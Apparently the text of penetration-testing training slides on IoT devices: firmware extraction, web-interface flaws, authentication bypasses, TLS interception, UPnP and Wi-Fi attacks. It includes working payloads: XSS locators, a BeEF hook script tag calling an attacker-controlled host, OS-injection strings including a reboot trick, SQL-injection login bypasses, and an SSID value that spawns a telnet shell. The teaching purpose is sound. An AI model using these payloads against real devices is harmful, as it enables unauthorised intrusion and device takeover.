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Wrapper system OS

No standard format





Review GPL sources for insight into firmware extraction
• Modified versions of common compression tools often used by vendors

Search the image for known file headers
• Carve files of known type and expand content accordingly

SquashFS is frequently used to store the file system
• Search for ‘shsq’ magic number to locate start of SquashFS data



From Craig Heffner (www.devttys0.com)

Automated binary analysis

Most common usage: binwalk -e <file>



Firmware can come from 
a variety of sources

Vendor update 
downloads are the easiest



ZIP came from vendor Product accepts .img





File system usually is in squashfs-root

binwalk –e <filename> puts files in dir _<filename>



• /root/Firmware/*

Example Firmware on VM

• Using sasquatch for custom squashfs

Binwalk + Deps Preinstalled







HTTP Management Interfaces are Everywhere!

Full of Low-Hanging Vulnerability Fruit!

Great Place to Start Looking for Flaws…

















Basic Usage: curl <scheme://host:port/path>
• Defaults to HTTP on port 80 if not specified

Custom Header: -H ‘Header: Value’

Post Data: -d <data to post> (or @filename)



Capture requests on the fly

Make modifications en route

Bypass client-side restrictions



Configure as proxy server

Turn interception mode on

Modify any data as desired















In-tool codecs and hashing algorithms commonly found in web apps



Isolate requests which change product state
• Does the request include a random token?
• If not, there is probably a CSRF vulnerability

Testing
• GET request: <IMG SRC=URL>
• POST request: <FORM> + JavaScript to auto-submit





CSRF exploits ambient authentication
• WebApps must validate request origins also
• Standard solution is CSRF token

Token Problems
• Failure to reject invalid tokens
• Predictable token values



• Failure to escape (<,>,’,”,etc)
• HTML tags invoke scripts
• Scripts run in context of app

The XSS Story



Attacker code executes on victim system

JavaScript in foreign context can:
• Steal cookies such as authentication tokens
• Forge authenticated requests including CSRF tokens
• Change all aspects of the web app’s appearance

Browser Exploitation Framework (BeEF)
• BeEF can be started from Kali via ’beef-xss’
• Use XSS payload: <script src=“http://IP:3000/hook.js”></script>



• print “<img src=%s>”, input
• input = x” onerror=alert(1)
• Result: JavaScript pop-up

Example XSS



• <img src=x onerror=XSS>
• <svg onload=XSS>
• x" onerror=XSS
• XSS sample value: alert(1337)

XSS Locators



Browser Exploitation Framework (BeEF)
• BeEF can be started from Kali via ’beef-xss’
• <script src=“http://IP:3000/hook.js”></script>

Some capabilities of BeEF
• Proxy requests through client
• Interrogate browser environment (plugins/auth/etc)
• Launch browser exploits



• OS commands/dynamic code  needed
• eval()/system() get passed user input
• Result is unintended code execution

OS Injection Story



• Code: eval($_REQUEST[a]+’()’)
• a = `touch /tmp/proofofpwnership`
• Result: File is created by Perl script

Perl eval() Injection



• a|touch${IFS}/tmp/filename
• `echo EXPECTED_INPUT`
• 265.1.2.3||uname – “ping injection”

OS Injection Locators



Tips & Tricks
•$IFS can provide whitespace
•`reboot` can lead to boot loop
•Getting a shell helps with device RE
•Many devices only have root user





• App requires database backend
• Unsafe data used in SQL query
• Users can manipulate the DB

SQL Injection Story



• q = “select id from users where 
(u=‘%s’) and (p=‘%s’)” % (u,p)

• u=admin; p = x’ or ‘x’=‘x
• (u=‘admin’) and (p=‘x’ or ‘x’=‘x’)
• Login as any user!

SQLi WHERE Injection



•X’ or ‘x’=‘x
•1 or 1=1 –
• ‘ HAVING 1=1 –

SQLi Locators



• Extra results indicate success
• Confirm by flipping boolean
• Example: x’ and ‘x’=‘y

SQLi Locators Usage



Tips & Tricks
•SQLite allows file creation
•Possible to create some web shells
•Sometimes SQLi is chainable







HTTP as a main interface
• Configuration or operation via browser

HTTP as middleware
• UI provided by mobile app
• API for network communications



Search for HTTP server binaries:

*http*: httpd, uhttp, minihttpd, tinyhttpd, lighttpd

Search for document root directories:

Anything containing ‘www’, ‘web’, ‘html’ 
Paths containing *.js, *.htm, *.css, or other web content



Compile a list of likely URLs 
from firmware analysis

find /web –
print

strings httpd
|grep ???



Save each HTTP 200 response

Check HTTP response code

Request each URL in a loop



Check the responses for goodies:
• Usernames
• Passwords
• Paired devices
• Personal data
• Network details
• Diagnostic output 



Compare queries resulting in 200 OK
•What do the names have in common?
•Same extension/prefix/path?



All *.xyz requests yield 200
•Request RestrictedFile.foo -> 401
•Request RestrictedFile.foo?.xyz -> 200
•Appending ‘?.xyz’ bypassed auth



images/* yields a 200
•Request File.foo -> 401
•Request images/../File.foo -> 200
•Prepending ‘images/../’ bypassed auth



HTTP Basic: Each request includes creds in header
• Authorization: Basic base64(“username:password”)

Cookie: App validates credentials and sets a cookie with an auth token
• Cookie: SESSID=547972656c206973206e6f742064656164

Client-Based: No ”real” auth. Client is expected to restrict access.
• JavaScript: var password = "3858f62230ac3c915f300c664312c63f”;

Infrastructure: User links cloud account with device for access.



Do the tokens expire?

Is there proper entropy across tokens?

Is the cookie httpOnly? (XSS mitigation)



Routers all use 192.168.1.1

WPA2: !!!Bad Password!!!



Logic error within authentication process

Due to checks for whitelisted requests

Pattern is checked on query instead of file

















Zach Cutlip documented net-cgi clearly

Some illustrations are from his blog
• http://shadow-file.blogspot.com/ 















The check is performed based on the query string!

After parsing, the query string can look much different…

Query: /secretstuff.html?foobarà Requested File: /secretstuff.html
Query: /foobar/../secretstuff.htmlà Requested File: /secretstuff.html

User-controlled input determines whether the auth handler is NULL





_config_invmatch() checks config values

Code asserts ‘hijack_process==3’ before auth check

Other values lead to disabled authentication



BINGO! hijack_process=1 will disable all auth checks!

BONUS: mime_handler for ‘BRS_*’ has no authentication function set!





SSL (now known as TLS) provides an encrypted channel

Public key cryptography underpins the entire system
• Servers generate a public/private key pair
• A certificate includes the public key & describes how it can be used
• Certification authority attests to the owner’s identity with a signature
• Servers present the signed certificate to connecting clients



Library Implementation Failures
• Heartbleed
• Change Cipher Spec Injection

Protocol Failures
• Legacy Renegotiation (CVE-2009-3555)
• BEAST (predictable initialization vectors in TLS 1.0 CBC mode)

Deployment Failures
• Use of self-signed certificates undermines protection from MiTM
• Insufficient certificate validation

Crypto Failures
• Deprecated cipher suites like RC4
• Padding oracles can reveal plaintext content



Certificate validation is crucial to test
• Many designs use self-signed certificates without pinning
• Validation often gets disabled for QA and is not re-enabled

OpenSSL use is prevalent in IoT
• Heartbleed may be the most devastating and likely flaw



Two points for testing:
• Client à Embedded Device
• Embedded Device à Vendor Infrastructure

Goal here is to simulate an active network adversary

Step one is to become a man-in-the-middle (MiTM)



Introduce a new router

Connect through a VPN

Setup a rogue access point for 802.11



Redirect connections to transparent proxy
• SSLsniff – Generates certs on the fly and logs data
• Mallory – Intercept and manipulate SSL traffic

Redirect is easy with iptables







SOAP is Simple Object Access Protocol

Common method for offering a network API

Generally uses XML messages over HTTP



SSDP is used to announce services
•HTTP-like protocol running on UDP/1900
•Multicast search and notification
•Part of Universal Plug n' Play support



239.255.255.250 is the reserved multicast address for SSDP

Probes sent to unicast address work too

HTTP line endings (CRLF)





Download the XML referenced in the “Location:” header
• This is a WSDL file (Web Services Description Language)
• Describes the device and available web services

The WSDL file may contain:
• PresentationURL : This will generally be a URL for web management
• friendlyName/modelName/modelDescription : Attributes to identify the device
• deviceType : Reference to upnp schema for device type
• manufacturer/manufacturerURL : Information about the vendor
• serviceList : Section dealing with available endpoints for control or monitoring

• SCPDURL : Service Control Protocol Document URL









Request Parameters:
• $Service – WSDL”serviceType” tag
• $URL – “controlURL” tag from WSDL
• $Action – Selected from the SCPD xml
• $Argument[] – Specified in SCPD Action

















Search with SSDP and grab XML

Try OS & SQLi

Look for unauth sensitive functions
• Download system config (including passwords)
• Change password, NAT rules, toggle services, etc



Miranda – Python based Universal Plug-N-Play client application
• Included in Kali: http://tools.kali.org/information-gathering/miranda
• Another tool from Craig Heffner

WSFuzzer – Older OWASP backed Python+Java based SOAP pen testing
• Available on SourceForge: https://sourceforge.net/projects/wsfuzzer/
• This is an older project which may not be well supported

UFuzz – Universal Plug and Fuzz is a Ruby based automated fuzzing tool
• Available on GitHub: https://github.com/phikshun/ufuzz
• This is *very* rough around the edges but when it works, it is an effective tool 







WiFi capabilities present some unique attack surface

Some useful tools include:
• Supported wireless adapter (Atheros AR9271, Ralink RT3070, Realtek RTL8187L)
• Airtcrack-ng software suite (included in Kali)
• Powerful/directional antennae

Questions:
• What happens when the device looses its connection?
• Does the system properly sanitize content in SSID names and passphrases?
• Can the target be tricked onto a rogue network?



802.11 does not encrypt DEAUTH frames
• Upon receipt of a DEUATH frame, clients should disassociate

A number of IoT devices use open Wi-Fi for OOBE
• Some devices will revert to this unconfigured mode during an outage

Aircrack-ng contains a tool for replaying DEAUTH frames
• This is most commonly used for capturing handshakes to crack



Useful for products which can act as an AP for configuration
• Connected Outlets
• Wireless Cameras
• Home Automation (smart home hubs, thermostats, etc)

Flood the device with DEAUTH so that it thinks the network is down
• An alternative approach is to actually shutdown the real 802.11 network and see what happens

Some devices go into first time setup if there is no connection on start-up
• Try restarting the device while the DEAUTHs are being sent (sustain it for a few minutes)
• IRL someone may reboot a device when it looses its connection making this condition exploitable

If the device goes into configuration mode it is often game over
• Passwords are often disabled and a larger attack surface may be exposed



Network names (SSID) are limited to 32 bytes
• This is not a big payload but it can be enough for some things

Devices may display SSID values in a web interface
• Unsanitized values can lead to XSS (Pineapple WiFi used to have lots of SSID XSS)
• Depending on the situation, multiple SSIDs may be chained together to form a longer payload
• <script src=?> leaves 19 bytes available for payload URL

Devices may use SSID values directly in a command
• Connecting to SSID $(utelnetd –l/bin/sh) may yield a shell
• Be sure to test entry of hidden SSID values also
• Really bad designs may use SSIDs in a command while scanning (still waiting for this)





Several devices are known to pass the 
WPA2 key unsanitized into system()

This provides an excellent local bug 
for getting into a system





Devices don’t always validate the full 
connection profile

Force the device off its network and 
advertise a new open WiFi with SSID





Apps know how to talk to devices
• Find hardcoded credentials
• Discover API endpoints
• Identify exposed ports and protocols

Studying an app is easier than RE a product



Sniffing Traffic
• “Packet Capture” – Quickly visualize app traffic
• “sslsniff” – Transparent proxy for advanced captures
• “tPacketCapture” – On device tcpdump like features

Reverse Engineering
• Apktool – Extract app resources and disasm to smali code
• Dex2JAR – Convert Android DEX to JAR files



Uses VPN API to capture without rooting

Generates an SSL cert for MITM decryption

Data is indexed by app and viewable on device







URL for device access

HTTP Authentication in use
• Username/Password revealed

WTF? syslog output in an HTTP header?



RTSP is used for the video stream

Port 554

rtsp://ip:554/channel1



NO PASSWORD!!!










